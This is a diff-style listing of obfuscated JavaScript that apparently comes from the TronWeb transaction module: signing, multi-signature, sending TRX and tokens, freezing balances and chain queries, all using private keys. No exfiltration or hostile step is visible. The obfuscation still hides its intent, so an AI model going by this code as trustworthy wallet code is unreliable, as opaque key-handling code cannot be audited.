- _0x2febe9.t1 = _0x2febe9.catch(25);
- _0x159d45(_0x2febe9.t1);
- case 38:
- case "end":
- return _0x2febe9.stop();
- }
- }
- }, _0x4b95db, this, [[13, 18], [25, 35]]);
- })), function () {
- return _0x267e60.apply(this, arguments);
- })
- }, {
- key: "signMessageV2",
- value: function (_0x1cc9ac) {
- var _0x3f6fd3 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : this.tronWeb.defaultPrivateKey;
- var _0xd57835 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : {};
- var _0x4a4099 = arguments.length > 3 && undefined !== arguments[3] && arguments[3];
- if (_0x1db97c.isFunction(_0xd57835) && (_0x4a4099 = _0xd57835, _0xd57835 = {}), _0x1db97c.isFunction(_0x3f6fd3) && (_0x4a4099 = _0x3f6fd3, _0x3f6fd3 = this.tronWeb.defaultPrivateKey), !_0x4a4099) {
- return this.injectPromise(this.signMessageV2, _0x1cc9ac, _0x3f6fd3);
- }
- try {
- return _0x4a4099(null, _0x28677e.signMessageV2(_0x1cc9ac, _0x3f6fd3));
- } catch (_0x19a5cc) {
- _0x4a4099(_0x19a5cc);
- }
- }
- }, {
- key: "_signTypedData",
- value: function (_0x1023f5, _0x564ec5, _0x29fbd0) {
- var _0xd8cf8a = arguments.length > 3 && undefined !== arguments[3] ? arguments[3] : this.tronWeb.defaultPrivateKey;
- var _0x426f9a = arguments.length > 4 && undefined !== arguments[4] && arguments[4];
- if (_0x1db97c.isFunction(_0xd8cf8a) && (_0x426f9a = _0xd8cf8a, _0xd8cf8a = this.tronWeb.defaultPrivateKey), !_0x426f9a) {
- return this.injectPromise(this._signTypedData, _0x1023f5, _0x564ec5, _0x29fbd0, _0xd8cf8a);
- }
- try {
- return _0x426f9a(null, _0x28677e._signTypedData(_0x1023f5, _0x564ec5, _0x29fbd0, _0xd8cf8a));
- } catch (_0x19eba5) {
- _0x426f9a(_0x19eba5);
- }
- }
- }, {
- key: "multiSign",
- value: (_0x5989b1 = _0x203d83(_0x307918().mark(function _0xcf7984() {
- var _0xc3a22a;
- var _0x2d9caa;
- var _0xb37f69;
- var _0x59f9aa;
- var _0x208845;
- var _0x2dcc41;
- var _0x212a03;
- var _0x33ef27 = arguments;
- return _0x307918().wrap(function (_0x236718) {
- for (;;) {
- switch (_0x236718.prev = _0x236718.next) {
- case 0:
- if (_0xc3a22a = _0x33ef27.length > 0 && undefined !== _0x33ef27[0] && _0x33ef27[0], _0x2d9caa = _0x33ef27.length > 1 && undefined !== _0x33ef27[1] ? _0x33ef27[1] : this.tronWeb.defaultPrivateKey, _0xb37f69 = _0x33ef27.length > 2 && undefined !== _0x33ef27[2] && _0x33ef27[2], _0x59f9aa = _0x33ef27.length > 3 && undefined !== _0x33ef27[3] && _0x33ef27[3], _0x1db97c.isFunction(_0xb37f69) && (_0x59f9aa = _0xb37f69, _0xb37f69 = 0), _0x1db97c.isFunction(_0x2d9caa) && (_0x59f9aa = _0x2d9caa, _0x2d9caa = this.tronWeb.defaultPrivateKey, _0xb37f69 = 0), _0x59f9aa) {
- _0x236718.next = 8;
- break;
- }
- return _0x236718.abrupt("return", this.injectPromise(this.multiSign, _0xc3a22a, _0x2d9caa, _0xb37f69));
- case 8:
- if (_0x1db97c.isObject(_0xc3a22a) && _0xc3a22a.raw_data && _0xc3a22a.raw_data.contract) {
- _0x236718.next = 10;
- break;
- }
- return _0x236718.abrupt("return", _0x59f9aa("Invalid transaction provided"));
- case 10:
- if (_0xc3a22a.raw_data.contract[0].Permission_id || !(_0xb37f69 > 0)) {
- _0x236718.next = 30;
- break;
- }
- _0xc3a22a.raw_data.contract[0].Permission_id = _0xb37f69;
- _0x208845 = this.tronWeb.address.toHex(this.tronWeb.address.fromPrivateKey(_0x2d9caa)).toLowerCase();
- _0x236718.next = 15;
- return this.getSignWeight(_0xc3a22a, _0xb37f69);
- case 15:
- if ("PERMISSION_ERROR" !== (_0x2dcc41 = _0x236718.sent).result.code) {
- _0x236718.next = 18;
- break;
- }
- return _0x236718.abrupt("return", _0x59f9aa(_0x2dcc41.result.message));
- case 18:
- if (_0x212a03 = false, _0x2dcc41.permission.keys.map(function (_0x338661) {
- _0x338661.address === _0x208845 && (_0x212a03 = true);
- }), _0x212a03) {
- _0x236718.next = 22;
- break;
- }
- return _0x236718.abrupt("return", _0x59f9aa(_0x2d9caa + " has no permission to sign"));
- case 22:
- if (!_0x2dcc41.approved_list || -1 == _0x2dcc41.approved_list.indexOf(_0x208845)) {
- _0x236718.next = 24;
- break;
- }
- return _0x236718.abrupt("return", _0x59f9aa(_0x2d9caa + " already sign transaction"));
- case 24:
- if (!_0x2dcc41.transaction || !_0x2dcc41.transaction.transaction) {
- _0x236718.next = 29;
- break;
- }
- _0xc3a22a = _0x2dcc41.transaction.transaction;
- _0xb37f69 > 0 && (_0xc3a22a.raw_data.contract[0].Permission_id = _0xb37f69);
- _0x236718.next = 30;
- break;
- case 29:
- return _0x236718.abrupt("return", _0x59f9aa("Invalid transaction provided"));
- case 30:
- if (_0x236718.prev = 30, _0x2fd324(_0xc3a22a)) {
- _0x236718.next = 33;
- break;
- }
- return _0x236718.abrupt("return", _0x59f9aa("Invalid transaction"));
- case 33:
- return _0x236718.abrupt("return", _0x59f9aa(null, _0x1db97c.crypto.signTransaction(_0x2d9caa, _0xc3a22a)));
- case 36:
- _0x236718.prev = 36;
- _0x236718.t0 = _0x236718.catch(30);
- _0x59f9aa(_0x236718.t0);
- case 39:
- case "end":
- return _0x236718.stop();
- }
- }
- }, _0xcf7984, this, [[30, 36]]);
- })), function () {
- return _0x5989b1.apply(this, arguments);
- })
- }, {
- key: "getApprovedList",
- value: (_0x20c297 = _0x203d83(_0x307918().mark(function _0x4a8981(_0xf0836f) {
- var _0x4374c1;
- var _0x3c0bd2 = arguments;
- return _0x307918().wrap(function (_0x2a8dc6) {
- for (;;) {
- switch (_0x2a8dc6.prev = _0x2a8dc6.next) {
- case 0:
- if (_0x4374c1 = _0x3c0bd2.length > 1 && undefined !== _0x3c0bd2[1] && _0x3c0bd2[1]) {
- _0x2a8dc6.next = 3;
- break;
- }
- return _0x2a8dc6.abrupt("return", this.injectPromise(this.getApprovedList, _0xf0836f));
- case 3:
- if (_0x1db97c.isObject(_0xf0836f)) {
- _0x2a8dc6.next = 5;
- break;
- }
- return _0x2a8dc6.abrupt("return", _0x4374c1("Invalid transaction provided"));
- case 5:
- this.tronWeb.fullNode.request("wallet/getapprovedlist", _0xf0836f, "post").then(function (_0x267723) {
- _0x4374c1(null, _0x267723);
- }).catch(function (_0xde8bb4) {
- return _0x4374c1(_0xde8bb4);
- });
- case 6:
- case "end":
- return _0x2a8dc6.stop();
- }
- }
- }, _0x4a8981, this);
- })), function (_0x4df390) {
- return _0x20c297.apply(this, arguments);
- })
- }, {
- key: "getSignWeight",
- value: (_0x28dab9 = _0x203d83(_0x307918().mark(function _0x4ec1b6(_0x561018, _0x384924) {
- var _0x2658ea;
- var _0x362383 = arguments;
- return _0x307918().wrap(function (_0x284e27) {
- for (;;) {
- switch (_0x284e27.prev = _0x284e27.next) {
- case 0:
- if (_0x2658ea = _0x362383.length > 2 && undefined !== _0x362383[2] && _0x362383[2], _0x1db97c.isFunction(_0x384924) && (_0x2658ea = _0x384924, _0x384924 = undefined), _0x2658ea) {
- _0x284e27.next = 4;
- break;
- }
- return _0x284e27.abrupt("return", this.injectPromise(this.getSignWeight, _0x561018, _0x384924));
- case 4:
- if (_0x1db97c.isObject(_0x561018) && _0x561018.raw_data && _0x561018.raw_data.contract) {
- _0x284e27.next = 6;
- break;
- }
- return _0x284e27.abrupt("return", _0x2658ea("Invalid transaction provided"));
- case 6:
- if (_0x1db97c.isInteger(_0x384924) ? _0x561018.raw_data.contract[0].Permission_id = parseInt(_0x384924) : "number" != typeof _0x561018.raw_data.contract[0].Permission_id && (_0x561018.raw_data.contract[0].Permission_id = 0), _0x1db97c.isObject(_0x561018)) {
- _0x284e27.next = 9;
- break;
- }
- return _0x284e27.abrupt("return", _0x2658ea("Invalid transaction provided"));
- case 9:
- this.tronWeb.fullNode.request("wallet/getsignweight", _0x561018, "post").then(function (_0x230e1a) {
- _0x2658ea(null, _0x230e1a);
- }).catch(function (_0x136d65) {
- return _0x2658ea(_0x136d65);
- });
- case 10:
- case "end":
- return _0x284e27.stop();
- }
- }
- }, _0x4ec1b6, this);
- })), function (_0x29a3a1, _0x4ebee5) {
- return _0x28dab9.apply(this, arguments);
- })
- }, {
- key: "sendRawTransaction",
- value: function () {
- var _0x49557e = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x476638 = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- var _0x990553 = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- _0x1db97c.isFunction(_0x476638) && (_0x990553 = _0x476638, _0x476638 = {});
- return _0x990553 ? _0x1db97c.isObject(_0x49557e) ? _0x1db97c.isObject(_0x476638) ? _0x49557e.signature && _0x1db97c.isArray(_0x49557e.signature) ? void this.tronWeb.fullNode.request("wallet/broadcasttransaction", _0x49557e, "post").then(function (_0x552144) {
- _0x552144.result && (_0x552144.transaction = _0x49557e);
- _0x990553(null, _0x552144);
- }).catch(function (_0x102bbe) {
- return _0x990553(_0x102bbe);
- }) : _0x990553("Transaction is not signed") : _0x990553("Invalid options provided") : _0x990553("Invalid transaction provided") : this.injectPromise(this.sendRawTransaction, _0x49557e, _0x476638);
- }
- }, {
- key: "sendHexTransaction",
- value: function () {
- var _0x1f038f = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x258b8a = arguments.length > 1 && undefined !== arguments[1] ? arguments[1] : {};
- var _0x508b9c = arguments.length > 2 && undefined !== arguments[2] && arguments[2];
- if (_0x1db97c.isFunction(_0x258b8a) && (_0x508b9c = _0x258b8a, _0x258b8a = {}), !_0x508b9c) {
- return this.injectPromise(this.sendHexTransaction, _0x1f038f, _0x258b8a);
- }
- if (!_0x1db97c.isHex(_0x1f038f)) {
- return _0x508b9c("Invalid hex transaction provided");
- }
- if (!_0x1db97c.isObject(_0x258b8a)) {
- return _0x508b9c("Invalid options provided");
- }
- var _0x124da6 = {
- transaction: _0x1f038f
- };
- this.tronWeb.fullNode.request("wallet/broadcasthex", _0x124da6, "post").then(function (_0x262b7d) {
- _0x262b7d.result && (_0x262b7d.transaction = JSON.parse(_0x262b7d.transaction), _0x262b7d.hexTransaction = _0x1f038f);
- _0x508b9c(null, _0x262b7d);
- }).catch(function (_0x562249) {
- return _0x508b9c(_0x562249);
- });
- }
- }, {
- key: "sendTransaction",
- value: (_0x2bbe75 = _0x203d83(_0x307918().mark(function _0x46e4ca() {
- var _0x1cbfc8;
- var _0x4b1b43;
- var _0x4a251f;
- var _0x15ced0;
- var _0x4b291e;
- var _0x1751e1;
- var _0x29f013;
- var _0x21fb85;
- var _0x5ec015 = arguments;
- return _0x307918().wrap(function (_0x201c3b) {
- for (;;) {
- switch (_0x201c3b.prev = _0x201c3b.next) {
- case 0:
- if (_0x1cbfc8 = _0x5ec015.length > 0 && undefined !== _0x5ec015[0] && _0x5ec015[0], _0x4b1b43 = _0x5ec015.length > 1 && undefined !== _0x5ec015[1] && _0x5ec015[1], _0x4a251f = _0x5ec015.length > 2 && undefined !== _0x5ec015[2] ? _0x5ec015[2] : {}, _0x15ced0 = _0x5ec015.length > 3 && undefined !== _0x5ec015[3] && _0x5ec015[3], _0x1db97c.isFunction(_0x4a251f) && (_0x15ced0 = _0x4a251f, _0x4a251f = {}), "string" == typeof _0x4a251f && (_0x4a251f = {
- privateKey: _0x4a251f
- }), _0x15ced0) {
- _0x201c3b.next = 8;
- break;
- }
- return _0x201c3b.abrupt("return", this.injectPromise(this.sendTransaction, _0x1cbfc8, _0x4b1b43, _0x4a251f));
- case 8:
- if (this.tronWeb.isAddress(_0x1cbfc8)) {
- _0x201c3b.next = 10;
- break;
- }
- return _0x201c3b.abrupt("return", _0x15ced0("Invalid recipient provided"));
- case 10:
- if (_0x1db97c.isInteger(_0x4b1b43) && !(_0x4b1b43 <= 0)) {
- _0x201c3b.next = 12;
- break;
- }
- return _0x201c3b.abrupt("return", _0x15ced0("Invalid amount provided"));
- case 12:
- if ((_0x4a251f = _0x2fbea6({
- privateKey: this.tronWeb.defaultPrivateKey,
- address: this.tronWeb.defaultAddress.hex
- }, _0x4a251f)).privateKey || _0x4a251f.address) {
- _0x201c3b.next = 15;
- break;
- }
- return _0x201c3b.abrupt("return", _0x15ced0("Function requires either a private key or address to be set"));
- case 15:
- _0x201c3b.prev = 15;
- _0x4b291e = _0x4a251f.privateKey ? this.tronWeb.address.fromPrivateKey(_0x4a251f.privateKey) : _0x4a251f.address;
- _0x201c3b.next = 19;
- return this.tronWeb.transactionBuilder.sendTrx(_0x1cbfc8, _0x4b1b43, _0x4b291e);
- case 19:
- _0x1751e1 = _0x201c3b.sent;
- _0x201c3b.next = 22;
- return this.sign(_0x1751e1, _0x4a251f.privateKey || undefined);
- case 22:
- _0x29f013 = _0x201c3b.sent;
- _0x201c3b.next = 25;
- return this.sendRawTransaction(_0x29f013);
- case 25:
- _0x21fb85 = _0x201c3b.sent;
- return _0x201c3b.abrupt("return", _0x15ced0(null, _0x21fb85));
- case 29:
- _0x201c3b.prev = 29;
- _0x201c3b.t0 = _0x201c3b.catch(15);
- return _0x201c3b.abrupt("return", _0x15ced0(_0x201c3b.t0));
- case 32:
- case "end":
- return _0x201c3b.stop();
- }
- }
- }, _0x46e4ca, this, [[15, 29]]);
- })), function () {
- return _0x2bbe75.apply(this, arguments);
- })
- }, {
- key: "sendToken",
- value: (_0x10bca5 = _0x203d83(_0x307918().mark(function _0x55f03e() {
- var _0x253d5e;
- var _0xa0a186;
- var _0x54aa27;
- var _0x1ee84e;
- var _0xd3c7c7;
- var _0x4e356f;
- var _0xa22e58;
- var _0x5cd8c7;
- var _0x188104;
- var _0x3c7245 = arguments;
- return _0x307918().wrap(function (_0x32a896) {
- for (;;) {
- switch (_0x32a896.prev = _0x32a896.next) {
- case 0:
- if (_0x253d5e = _0x3c7245.length > 0 && undefined !== _0x3c7245[0] && _0x3c7245[0], _0xa0a186 = _0x3c7245.length > 1 && undefined !== _0x3c7245[1] && _0x3c7245[1], _0x54aa27 = _0x3c7245.length > 2 && undefined !== _0x3c7245[2] && _0x3c7245[2], _0x1ee84e = _0x3c7245.length > 3 && undefined !== _0x3c7245[3] ? _0x3c7245[3] : {}, _0xd3c7c7 = _0x3c7245.length > 4 && undefined !== _0x3c7245[4] && _0x3c7245[4], _0x1db97c.isFunction(_0x1ee84e) && (_0xd3c7c7 = _0x1ee84e, _0x1ee84e = {}), "string" == typeof _0x1ee84e && (_0x1ee84e = {
- privateKey: _0x1ee84e
- }), _0xd3c7c7) {
- _0x32a896.next = 9;
- break;
- }
- return _0x32a896.abrupt("return", this.injectPromise(this.sendToken, _0x253d5e, _0xa0a186, _0x54aa27, _0x1ee84e));
- case 9:
- if (this.tronWeb.isAddress(_0x253d5e)) {
- _0x32a896.next = 11;
- break;
- }
- return _0x32a896.abrupt("return", _0xd3c7c7("Invalid recipient provided"));
- case 11:
- if (_0x1db97c.isInteger(_0xa0a186) && !(_0xa0a186 <= 0)) {
- _0x32a896.next = 13;
- break;
- }
- return _0x32a896.abrupt("return", _0xd3c7c7("Invalid amount provided"));
- case 13:
- if (_0x1db97c.isInteger(_0x54aa27) && (_0x54aa27 = _0x54aa27.toString()), _0x1db97c.isString(_0x54aa27)) {
- _0x32a896.next = 16;
- break;
- }
- return _0x32a896.abrupt("return", _0xd3c7c7("Invalid token ID provided"));
- case 16:
- if ((_0x1ee84e = _0x2fbea6({
- privateKey: this.tronWeb.defaultPrivateKey,
- address: this.tronWeb.defaultAddress.hex
- }, _0x1ee84e)).privateKey || _0x1ee84e.address) {
- _0x32a896.next = 19;
- break;
- }
- return _0x32a896.abrupt("return", _0xd3c7c7("Function requires either a private key or address to be set"));
- case 19:
- _0x32a896.prev = 19;
- _0x4e356f = _0x1ee84e.privateKey ? this.tronWeb.address.fromPrivateKey(_0x1ee84e.privateKey) : _0x1ee84e.address;
- _0x32a896.next = 23;
- return this.tronWeb.transactionBuilder.sendToken(_0x253d5e, _0xa0a186, _0x54aa27, _0x4e356f);
- case 23:
- _0xa22e58 = _0x32a896.sent;
- _0x32a896.next = 26;
- return this.sign(_0xa22e58, _0x1ee84e.privateKey || undefined);
- case 26:
- _0x5cd8c7 = _0x32a896.sent;
- _0x32a896.next = 29;
- return this.sendRawTransaction(_0x5cd8c7);
- case 29:
- _0x188104 = _0x32a896.sent;
- return _0x32a896.abrupt("return", _0xd3c7c7(null, _0x188104));
- case 33:
- _0x32a896.prev = 33;
- _0x32a896.t0 = _0x32a896.catch(19);
- return _0x32a896.abrupt("return", _0xd3c7c7(_0x32a896.t0));
- case 36:
- case "end":
- return _0x32a896.stop();
- }
- }
- }, _0x55f03e, this, [[19, 33]]);
- })), function () {
- return _0x10bca5.apply(this, arguments);
- })
- }, {
- key: "freezeBalance",
- value: (_0x367cd5 = _0x203d83(_0x307918().mark(function _0x538a77() {
- var _0x348413;
- var _0xbe52d0;
- var _0x41dd76;
- var _0x1d1037;
- var _0x294521;
- var _0x2c32ae;
- var _0x3d69f1;
- var _0x147162;
- var _0x125512;
- var _0x5608df;
- var _0x5e8179 = arguments;
- return _0x307918().wrap(function (_0x24b63c) {
- for (;;) {
- switch (_0x24b63c.prev = _0x24b63c.next) {
- case 0:
- if (_0x348413 = _0x5e8179.length > 0 && undefined !== _0x5e8179[0] ? _0x5e8179[0] : 0, _0xbe52d0 = _0x5e8179.length > 1 && undefined !== _0x5e8179[1] ? _0x5e8179[1] : 3, _0x41dd76 = _0x5e8179.length > 2 && undefined !== _0x5e8179[2] ? _0x5e8179[2] : "BANDWIDTH", _0x1d1037 = _0x5e8179.length > 3 && undefined !== _0x5e8179[3] ? _0x5e8179[3] : {}, _0x294521 = _0x5e8179.length > 4 && undefined !== _0x5e8179[4] ? _0x5e8179[4] : undefined, _0x2c32ae = _0x5e8179.length > 5 && undefined !== _0x5e8179[5] && _0x5e8179[5], _0x1db97c.isFunction(_0x294521) && (_0x2c32ae = _0x294521, _0x294521 = undefined), _0x1db97c.isFunction(_0xbe52d0) && (_0x2c32ae = _0xbe52d0, _0xbe52d0 = 3), _0x1db97c.isFunction(_0x41dd76) && (_0x2c32ae = _0x41dd76, _0x41dd76 = "BANDWIDTH"), _0x1db97c.isFunction(_0x1d1037) && (_0x2c32ae = _0x1d1037, _0x1d1037 = {}), "string" == typeof _0x1d1037 && (_0x1d1037 = {
- privateKey: _0x1d1037
- }), _0x2c32ae) {
- _0x24b63c.next = 13;
- break;
- }
- return _0x24b63c.abrupt("return", this.injectPromise(this.freezeBalance, _0x348413, _0xbe52d0, _0x41dd76, _0x1d1037, _0x294521));
- case 13:
- if (["BANDWIDTH", "ENERGY"].includes(_0x41dd76)) {
- _0x24b63c.next = 15;
- break;
- }
- return _0x24b63c.abrupt("return", _0x2c32ae("Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""));
- case 15:
- if (_0x1db97c.isInteger(_0x348413) && !(_0x348413 <= 0)) {
- _0x24b63c.next = 17;
- break;
- }
- return _0x24b63c.abrupt("return", _0x2c32ae("Invalid amount provided"));
- case 17:
- if (_0x1db97c.isInteger(_0xbe52d0) && !(_0xbe52d0 < 3)) {
- _0x24b63c.next = 19;
- break;
- }
- return _0x24b63c.abrupt("return", _0x2c32ae("Invalid duration provided, minimum of 3 days"));
- case 19:
- if ((_0x1d1037 = _0x2fbea6({
- privateKey: this.tronWeb.defaultPrivateKey,
- address: this.tronWeb.defaultAddress.hex
- }, _0x1d1037)).privateKey || _0x1d1037.address) {
- _0x24b63c.next = 22;
- break;
- }
- return _0x24b63c.abrupt("return", _0x2c32ae("Function requires either a private key or address to be set"));
- case 22:
- _0x24b63c.prev = 22;
- _0x3d69f1 = _0x1d1037.privateKey ? this.tronWeb.address.fromPrivateKey(_0x1d1037.privateKey) : _0x1d1037.address;
- _0x24b63c.next = 26;
- return this.tronWeb.transactionBuilder.freezeBalance(_0x348413, _0xbe52d0, _0x41dd76, _0x3d69f1, _0x294521);
- case 26:
- _0x147162 = _0x24b63c.sent;
- _0x24b63c.next = 29;
- return this.sign(_0x147162, _0x1d1037.privateKey || undefined);
- case 29:
- _0x125512 = _0x24b63c.sent;
- _0x24b63c.next = 32;
- return this.sendRawTransaction(_0x125512);
- case 32:
- _0x5608df = _0x24b63c.sent;
- return _0x24b63c.abrupt("return", _0x2c32ae(null, _0x5608df));
- case 36:
- _0x24b63c.prev = 36;
- _0x24b63c.t0 = _0x24b63c.catch(22);
- return _0x24b63c.abrupt("return", _0x2c32ae(_0x24b63c.t0));
- case 39:
- case "end":
- return _0x24b63c.stop();
- }
- }
- }, _0x538a77, this, [[22, 36]]);
- })), function () {
- return _0x367cd5.apply(this, arguments);
- })
- }, {
- key: "unfreezeBalance",
- value: (_0x49d012 = _0x203d83(_0x307918().mark(function _0x10f964() {
- var _0x5ee50d;
- var _0x133e53;
- var _0x571280;
- var _0x4fbec2;
- var _0x3ae91b;
- var _0x3e10e7;
- var _0x410ea8;
- var _0x38bb8f;
- var _0x446bfc = arguments;
- return _0x307918().wrap(function (_0x4467d3) {
- for (;;) {
- switch (_0x4467d3.prev = _0x4467d3.next) {
- case 0:
- if (_0x5ee50d = _0x446bfc.length > 0 && undefined !== _0x446bfc[0] ? _0x446bfc[0] : "BANDWIDTH", _0x133e53 = _0x446bfc.length > 1 && undefined !== _0x446bfc[1] ? _0x446bfc[1] : {}, _0x571280 = _0x446bfc.length > 2 && undefined !== _0x446bfc[2] ? _0x446bfc[2] : undefined, _0x4fbec2 = _0x446bfc.length > 3 && undefined !== _0x446bfc[3] && _0x446bfc[3], _0x1db97c.isFunction(_0x571280) && (_0x4fbec2 = _0x571280, _0x571280 = undefined), _0x1db97c.isFunction(_0x5ee50d) && (_0x4fbec2 = _0x5ee50d, _0x5ee50d = "BANDWIDTH"), _0x1db97c.isFunction(_0x133e53) && (_0x4fbec2 = _0x133e53, _0x133e53 = {}), "string" == typeof _0x133e53 && (_0x133e53 = {
- privateKey: _0x133e53
- }), _0x4fbec2) {
- _0x4467d3.next = 10;
- break;
- }
- return _0x4467d3.abrupt("return", this.injectPromise(this.unfreezeBalance, _0x5ee50d, _0x133e53, _0x571280));
- case 10:
- if (["BANDWIDTH", "ENERGY"].includes(_0x5ee50d)) {
- _0x4467d3.next = 12;
- break;
- }
- return _0x4467d3.abrupt("return", _0x4fbec2("Invalid resource provided: Expected \"BANDWIDTH\" or \"ENERGY\""));
- case 12:
- if ((_0x133e53 = _0x2fbea6({
- privateKey: this.tronWeb.defaultPrivateKey,
- address: this.tronWeb.defaultAddress.hex
- }, _0x133e53)).privateKey || _0x133e53.address) {
- _0x4467d3.next = 15;
- break;
- }
- return _0x4467d3.abrupt("return", _0x4fbec2("Function requires either a private key or address to be set"));
- case 15:
- _0x4467d3.prev = 15;
- _0x3ae91b = _0x133e53.privateKey ? this.tronWeb.address.fromPrivateKey(_0x133e53.privateKey) : _0x133e53.address;
- _0x4467d3.next = 19;
- return this.tronWeb.transactionBuilder.unfreezeBalance(_0x5ee50d, _0x3ae91b, _0x571280);
- case 19:
- _0x3e10e7 = _0x4467d3.sent;
- _0x4467d3.next = 22;
- return this.sign(_0x3e10e7, _0x133e53.privateKey || undefined);
- case 22:
- _0x410ea8 = _0x4467d3.sent;
- _0x4467d3.next = 25;
- return this.sendRawTransaction(_0x410ea8);
- case 25:
- _0x38bb8f = _0x4467d3.sent;
- return _0x4467d3.abrupt("return", _0x4fbec2(null, _0x38bb8f));
- case 29:
- _0x4467d3.prev = 29;
- _0x4467d3.t0 = _0x4467d3.catch(15);
- return _0x4467d3.abrupt("return", _0x4fbec2(_0x4467d3.t0));
- case 32:
- case "end":
- return _0x4467d3.stop();
- }
- }
- }, _0x10f964, this, [[15, 29]]);
- })), function () {
- return _0x49d012.apply(this, arguments);
- })
- }, {
- key: "updateAccount",
- value: (_0x20df12 = _0x203d83(_0x307918().mark(function _0x4e878c() {
- var _0x21bae7;
- var _0x5698dd;
- var _0x129068;
- var _0x5dae46;
- var _0x2f420f;
- var _0x26268c;
- var _0x3956da;
- var _0x28f14f = arguments;
- return _0x307918().wrap(function (_0x5c9880) {
- for (;;) {
- switch (_0x5c9880.prev = _0x5c9880.next) {
- case 0:
- if (_0x21bae7 = _0x28f14f.length > 0 && undefined !== _0x28f14f[0] && _0x28f14f[0], _0x5698dd = _0x28f14f.length > 1 && undefined !== _0x28f14f[1] ? _0x28f14f[1] : {}, _0x129068 = _0x28f14f.length > 2 && undefined !== _0x28f14f[2] && _0x28f14f[2], _0x1db97c.isFunction(_0x5698dd) && (_0x129068 = _0x5698dd, _0x5698dd = {}), "string" == typeof _0x5698dd && (_0x5698dd = {
- privateKey: _0x5698dd
- }), _0x129068) {
- _0x5c9880.next = 7;
- break;
- }
- return _0x5c9880.abrupt("return", this.injectPromise(this.updateAccount, _0x21bae7, _0x5698dd));
- case 7:
- if (_0x1db97c.isString(_0x21bae7) && _0x21bae7.length) {
- _0x5c9880.next = 9;
- break;
- }
- return _0x5c9880.abrupt("return", _0x129068("Name must be a string"));
- case 9:
- if ((_0x5698dd = _0x2fbea6({
- privateKey: this.tronWeb.defaultPrivateKey,
- address: this.tronWeb.defaultAddress.hex
- }, _0x5698dd)).privateKey || _0x5698dd.address) {
- _0x5c9880.next = 12;
- break;
- }
- return _0x5c9880.abrupt("return", _0x129068("Function requires either a private key or address to be set"));
- case 12:
- _0x5c9880.prev = 12;
- _0x5dae46 = _0x5698dd.privateKey ? this.tronWeb.address.fromPrivateKey(_0x5698dd.privateKey) : _0x5698dd.address;
- _0x5c9880.next = 16;
- return this.tronWeb.transactionBuilder.updateAccount(_0x21bae7, _0x5dae46);
- case 16:
- _0x2f420f = _0x5c9880.sent;
- _0x5c9880.next = 19;
- return this.sign(_0x2f420f, _0x5698dd.privateKey || undefined);
- case 19:
- _0x26268c = _0x5c9880.sent;
- _0x5c9880.next = 22;
- return this.sendRawTransaction(_0x26268c);
- case 22:
- _0x3956da = _0x5c9880.sent;
- return _0x5c9880.abrupt("return", _0x129068(null, _0x3956da));
- case 26:
- _0x5c9880.prev = 26;
- _0x5c9880.t0 = _0x5c9880.catch(12);
- return _0x5c9880.abrupt("return", _0x129068(_0x5c9880.t0));
- case 29:
- case "end":
- return _0x5c9880.stop();
- }
- }
- }, _0x4e878c, this, [[12, 26]]);
- })), function () {
- return _0x20df12.apply(this, arguments);
- })
- }, {
- key: "signMessage",
- value: function () {
- return this.sign.apply(this, arguments);
- }
- }, {
- key: "sendAsset",
- value: function () {
- return this.sendToken.apply(this, arguments);
- }
- }, {
- key: "send",
- value: function () {
- return this.sendTransaction.apply(this, arguments);
- }
- }, {
- key: "sendTrx",
- value: function () {
- return this.sendTransaction.apply(this, arguments);
- }
- }, {
- key: "broadcast",
- value: function () {
- return this.sendRawTransaction.apply(this, arguments);
- }
- }, {
- key: "broadcastHex",
- value: function () {
- return this.sendHexTransaction.apply(this, arguments);
- }
- }, {
- key: "signTransaction",
- value: function () {
- return this.sign.apply(this, arguments);
- }
- }, {
- key: "getProposal",
- value: function () {
- var _0x4a92cd = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- var _0x34c26d = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x34c26d ? !_0x1db97c.isInteger(_0x4a92cd) || _0x4a92cd < 0 ? _0x34c26d("Invalid proposalID provided") : void this.tronWeb.fullNode.request("wallet/getproposalbyid", {
- id: parseInt(_0x4a92cd)
- }, "post").then(function (_0x115817) {
- _0x34c26d(null, _0x115817);
- }).catch(function (_0x48ffd6) {
- return _0x34c26d(_0x48ffd6);
- }) : this.injectPromise(this.getProposal, _0x4a92cd);
- }
- }, {
- key: "listProposals",
- value: function () {
- var _0xabc705 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0xabc705) {
- return this.injectPromise(this.listProposals);
- }
- this.tronWeb.fullNode.request("wallet/listproposals", {}, "post").then(function (_0x5efd88) {
- var _0x31fc8d = _0x5efd88.proposals;
- _0xabc705(null, undefined === _0x31fc8d ? [] : _0x31fc8d);
- }).catch(function (_0x12cad5) {
- return _0xabc705(_0x12cad5);
- });
- }
- }, {
- key: "getChainParameters",
- value: function () {
- var _0x2dc877 = arguments.length > 0 && undefined !== arguments[0] && arguments[0];
- if (!_0x2dc877) {
- return this.injectPromise(this.getChainParameters);
- }
- this.tronWeb.fullNode.request("wallet/getchainparameters", {}, "post").then(function (_0x546fe1) {
- var _0x1fa714 = _0x546fe1.chainParameter;
- _0x2dc877(null, undefined === _0x1fa714 ? [] : _0x1fa714);
- }).catch(function (_0x508fb0) {
- return _0x2dc877(_0x508fb0);
- });
- }
- }, {
- key: "getAccountResources",
- value: function () {
- var _0x9a29b = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
- var _0x3431f1 = arguments.length > 1 && undefined !== arguments[1] && arguments[1];
- return _0x3431f1 ? this.tronWeb.isAddress(_0x9a29b) ? void this.tronWeb.fullNode.request("wallet/getaccountresource", {
- address: this.tronWeb.address.toHex(_0x9a29b)
- }, "post").then(function (_0x35a40c) {
- _0x3431f1(null, _0x35a40c);
- }).catch(function (_0x124ca9) {
- return _0x3431f1(_0x124ca9);
- }) : _0x3431f1("Invalid address provided") : this.injectPromise(this.getAccountResources, _0x9a29b);
- }
- }, {
- key: "getDelegatedResourceV2",
- value: function () {
- var _0x176145 = arguments.length > 0 && undefined !== arguments[0] ? arguments[0] : this.tronWeb.defaultAddress.hex;
